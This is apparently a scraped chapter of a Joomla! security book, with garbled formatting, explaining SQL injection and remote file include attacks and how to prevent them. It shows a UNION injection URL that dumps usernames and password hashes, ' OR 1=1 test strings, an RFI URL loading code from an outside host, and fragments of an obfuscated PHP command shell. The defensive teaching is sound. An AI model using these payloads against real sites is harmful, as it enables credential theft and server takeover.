Bảo mật cho joomla part 11 doc

The top issues in PHP-based websites are: Incorrect or invalid intentional or unintentional input Access control vulnerabilities Session hijacks and attempts on session IDs SQL Injection

Anatomy of Attacks

Mark Twain once said, "There are only two certainties in life—death and taxes."

Even in web security there are two certainties: It's not "if you are attacked", but

"when and how" your site will be taken advantage of

There are many types of attacks that can happen to a website, and several volumes

consisting of thousands of pages have been written about them In this short chapter,

we will focus on two types of attacks that can occur to your Joomla! website The

attacks are SQL Injections and Remote File Includes The former, though very

nasty, can be prevented in many cases; but the latter is a more difficult one to stop

altogether So, it is important that you are aware of them and know their signs

In this chapter, we will take a very recently discovered vulnerability in a popular

extension (at the time of writing), and demonstrate an SQL attack and its results This

chapter is not meant to be a comprehensive review of either of the attacks It presents

ONLY a cursory view At the end of this chapter are listed several volumes that

cover this topic in excruciating detail This chapter is written rather lightly, just to

give you an idea of how these attacks work and some methods to prevent them from

working The objective here is to familiarize you with these and give you a sense

of awareness

We will take a look at the following topics to see how each of these can impact you,

and what you can do to minimize their impact:

SQL Injections

Remote File Includes

What can be done about them

•

•

•

There are several types of attacks that your Joomla! site may be vulnerable to such

as CSRF, Buffer Overflows, Blind SQL Injection, Denial of Service, and others that are

yet to be found SQL Injections and RFIs, being very popular, will be a part of

this chapter

The top issues in PHP-based websites are:

Incorrect or invalid (intentional or unintentional) input

Access control vulnerabilities

Session hijacks and attempts on session IDs

SQL Injection and Blind SQL Injection

Incorrect or ignored PHP configuration settings

Divulging too much in error messages and poor error handling

Cross Site Scripting (XSS)

Cross Site Request Forgery, that is CSRF (one-click attack)

SQL Injections

SQL databases are the heart of your Joomla! CMS The database holds the content,

the users' IDs, the settings, and more To gain access to this valuable resource is

the ultimate prize of the hacker Accessing this can gain him/her an administrative

access that can gather private information such as usernames and passwords, and

can allow any number of bad things to happen

When you make a request of a page on Joomla!, it forms a "query" or a question for

the database The database is unsuspecting that you may be asking a malformed

question and will attempt to process whatever the query is

Often, the developers do not construct their code to watch for this type of an attack

In fact, in the month of February 2008, twenty-one new SQL Injection vulnerabilities

were discovered in the Joomla! land

The following are some examples presented for your edification Using any of these

for any purpose is solely your responsibility and not mine:

Example 1

Example 2

index.php?option=com_****&task=****&Itemid=name&catid=97&aid=-

9988%2F%2A%2A%2Funion%2F%2A%2A%2Fselect/**/

concat(username,0x3a,password),0x3a,password,

0x3a,username,0,0,0,0,1,1,1,1,1,1,1,1,0,0,0/**/

from/**/jos_users/*

Both of these will reveal, under the right set of circumstances, the usernames and

passwords in your system There is a measure of protection in Joomla! 1.0.13, with

an encryption scheme that will render the passwords useless However, it does not

make sense to allow extensions that are vulnerable to remain Yielding ANY kind of

information like this is unacceptable

The following screenshot displays the results of the second example running on a

test system with the vulnerable extension The two pieces of information are the

username that is listed as Author, and the Hex string (partially blurred) that is the

hashed password:

You can see that not all MD5 hashes can be broken easily Though it won't be shown

here, there is a website available where you enter your hash and it attempts to crack

it It supports several popular hashes

When I entered this hash (of a password) into the tool, I found the password to

be "Anthony"

It's worth noting that this hash and its password are a result of a website getting

broken into, prompting the user to search for the "hash" left behind, thus yielding

the password

The important news, however, is that if you are using Joomla! 1.0.13 or greater, the

password's hash is now calculated with a "salt", making it nearly impossible to break

However, the standard MD5 could still be broken with enough effort in many cases

For more information about salting and MD5 see: http://www.php.net/md5

For an interesting read on salting, you may wish to read this link:

www.governmentsecurity.org/forum/lofiversion/index

php/t19179.html

What is an SQL Injection? It is a query put to an SQL database where data input

was expected AND the application does not correctly filter the input It allows

hijacking of database information such as usernames and passwords, as we saw in

the earlier example

Most of these attacks are based on two things First, the developers have coding

errors in their code, or they potentially reused the code from another application,

thus spreading the error The other issue is the inadequate validation of input In

There are many ways to test for vulnerability to an SQL Injection, but one of the most

common ones is as follows:

In some cases, this may be enough to trigger a database to divulge details This

very simplistic example would not work in the login box that is shown However,

if it were presented to a vulnerable extension in a manner such as the following it

might work:

<FORM action=http://www.vulnerablesite.com/Search.php method=post>

<input type=hidden name=A value="me' or 1=1 ">

</FORM>

This "posting" method (presented as a very generic exploit and not meant to work

per se in Joomla!) will attempt to break into the database by putting forward queries

that would not necessarily be noticed

But why 1=1- - ? According to PHP.NET, "It is a common technique to force the SQL

parser to ignore the rest of the query written by the developer with which is the

comment sign in SQL."

You might be thinking, "So what if my passwords are hashed? They can get them but

they cannot break them!"

This is true, but if they wanted it badly, nothing keeps them from doing something

such as this:

INSERT INTO jos_mydb_users

('email','password','login_id','full_name')

VALUES ('johndoe@email.com','default','Jdoe','John Doe'); ';

This code has a potential if inserted into a query such as this:

http://www.yourdomain/vulnerable_extension//index.php?option=com_vule

xt INSERT INTO jos_mydb_users

('email','password','login_id','full_name')

VALUES ('johndoe@email.com','default','Jdoe','John Doe'); ';

Again, this is a completely bogus example and is not likely to work But if you

can get an SQL DB to divulge its information, you can get it to "accept" (insert)

information it should not as well

Testing for SQL Injections

The following examples are known good tests to detect some SQL

Injection vulnerabilities

Check for input vulnerabilities using "Single Quotes", as used in the following

login form:

howdy' OR 1=1

-This popular method is sometimes used in the form of a URL and you may see it

appended to the INDEX.PHP in your log as follows:

/index.php?id=howdy' OR 1=1

-You may also wish to try inputting one of these popular methods:

' OR 1=1

" OR 1=1

-'OR 'x'='x

There are several more methods and this only scratches the surface of SQL Injections

They attempt to pass unchecked INPUT to the database, which will try to divulge an

answer, rather than providing no answer

Note that you may see the use of the keyword UNION in your logs (see earlier

examples) This is usually an early indicator that an attempt is being made on

your site

To learn more about SQL Injections from a developer's point of view, please refer to

A Few Methods to Prevent SQL Injections

This is somewhat beyond the scope of this book, but the following are some things to

touch upon:

Developers should ALWAYS validate the user input, that is, test for type, length,

format, and range, and always consider what malicious input may be thrown at

the queries

DO NOT assume anything about the user input For example, you shouldn't assume

that an upload box for images won't be used for some other purpose You should

restrict the uploads to file types that you want to accept

How will your application behave if a malicious user enters a 100-megabyte JPG

where your application expects a username?

What will happen to your site if a DROPTABLE statement is embedded in a text field?

What about a database command such as INSERT?

The answer is: Always enforce the size If the maximum input is 2 Meg, then enforce

it Don't allow bigger inputs because your users might be unhappy If the maximum

character length should be eight, do not allow inputs beyond it This will prevent a

buffer overflow, and other madness

Test the content of the string variables and accept only the expected values Reject

entries that contain binary data, escape sequences, and comment characters This is a

common technique

DO NOT ALLOW SQL statements directly from the user input Provide a solid user

interface that validates the users' input and then uses it

String concatenation is the primary point of entry for a script injection So NEVER

concatenate user input that is not validated, and has been checked to ensure that it

has no nasty payloads

ALWAYS assign user rights within your SITE (including you) with the LEAST

privileges needed This keeps down the possibility of using the unnecessary

privileges to take over the site

NEVER connect to the database as an admin, superadmin, or the database owner

Always keep these particular users for administrative use only

And According to PHP.NET

"Check if the given input has the expected data type PHP has a wide range of

input validating functions, from the simplest ones found in Variable Functions and

in Character Type Functions (for example, is_numeric(), and ctype_digit()

respectively), and onwards to the Perl compatible Regular Expressions support

If the application waits for numerical input, consider verifying data with

is_numeric(), or silently change its type using settype(), or use its numeric

representation by sprintf()."

There are commercially available tools such as Accunetix that can test for SQL

Injections, and several sites that list recent and past extension vulnerabilities

In essence, test your system using some of the methods mentioned, provide it an

input that is totally off the wall, or find some of the exploits and try them on your

test server

Lastly, keeping your system patched is probably one of the best methods to prevent

SQL Injections

Remote File Includes

An RFI vulnerability exists when an attacker can insert a script or code into a URL

and command your server to execute the evil code

It is important to note that File Inclusion attacks, such as these, can mostly

be mitigated by turning Register_Globals off.

Turning this off ensures that the $page variable is not treated as a

super-global variable, and thus does not allow an inclusion

The following is a sanitized attempt to attack a server in just such a manner:

http://www.exampledomain.com/?mosConfig_absolute_path=http://www

forum.com/update/xxxxx/sys_yyyyy/i?

If the site in this example did not have appropriate safeguards in place, the following

code would be executed:

$x0b="in\x72_\147\x65\x74"; $x0c="\184r\x74o\154\x6fwe\x72";

}

else

{

echo "\345a\146e\x6do\x64e:\x6ff\x66";

}

exit(); ?>

This code is from a group that calls itself "Crank" The purpose of this code is not

known, and therefore we do not want it to be executed on our site This attempt to

insert the code appears to want my browser to execute something and report one

thing or another:

{echo "\345a\146\x65\155od\145\x3ao\156";}

else

{

echo "\345a\146e\x6do\x64e:\x6ff\x66";

}

exit();

Here is another example of an attempted script This one is in PHP, and would

attempt to execute in the same fashion by making an insertion on the URL:

<html><head><title>/\/\/\ Response CMD /\/\/\</title></head>

<body bgcolor=DC143C>

<H1>Changing this CMD will result in corrupt scanning !</H1>

</html></head></body>

<?php

if((@eregi("uid",ex("id"))) || (@eregi("Windows",ex("net start")))){

echo("Safe Mode of this Server is : ");

echo("SafemodeOFF");

}

else{

ini_restore("safe_mode");

ini_restore("open_basedir");

if((@eregi("uid",ex("id"))) || (@eregi("Windows",ex("net start")))){

echo("Safe Mode of this Server is : ");

echo("SafemodeOFF");

}else{

echo("Safe Mode of this Server is : ");

echo("SafemodeON");

}

}

.

.

.

@ob_end_clean();

elseif(@is_resource($f = @popen($cfe,"r"))){

$res = "";

while(!@feof($f)) { $res = @fread($f,1024); }

@pclose($f);

}

}

return $res;

}

exit;

This sanitized example wants to learn if we are running SAFE MODE on or off,

and then would attempt to start a command shell on our server If the attackers

are successful, they will gain access to the machine and take over from there For

Windows users, a Command Shell is equivalent to running START | RUN | CMD,

thus opening what we would call a "DOS prompt"

Other methods of attack include the following:

Evil code uploaded through session files, or through image uploads is a way

of attacking

Another method of attack is the insertion or placement of code that you

might think would be safe, such as compressed audio streams These do

not get inspected as they should be, and could allow access to remote

resources It is noteworthy that this can slip past even if you have set the

allow_url_fopen or allow_url_include to disabled

A common method is to take input from the request POST data versus a

data file

There are several other methods beyond this list And just judging from the traffic

at my sites, the list and methods change on an "irregular" basis This highlights our

need for robust security architecture, and to be very careful in accepting the user

input on our websites

The Most Basic Attempt

You don't always need a heavy or fancy code as in the earlier examples Just

appending a page request of sorts to the end of our URL will do it

Remember this?

•

•

•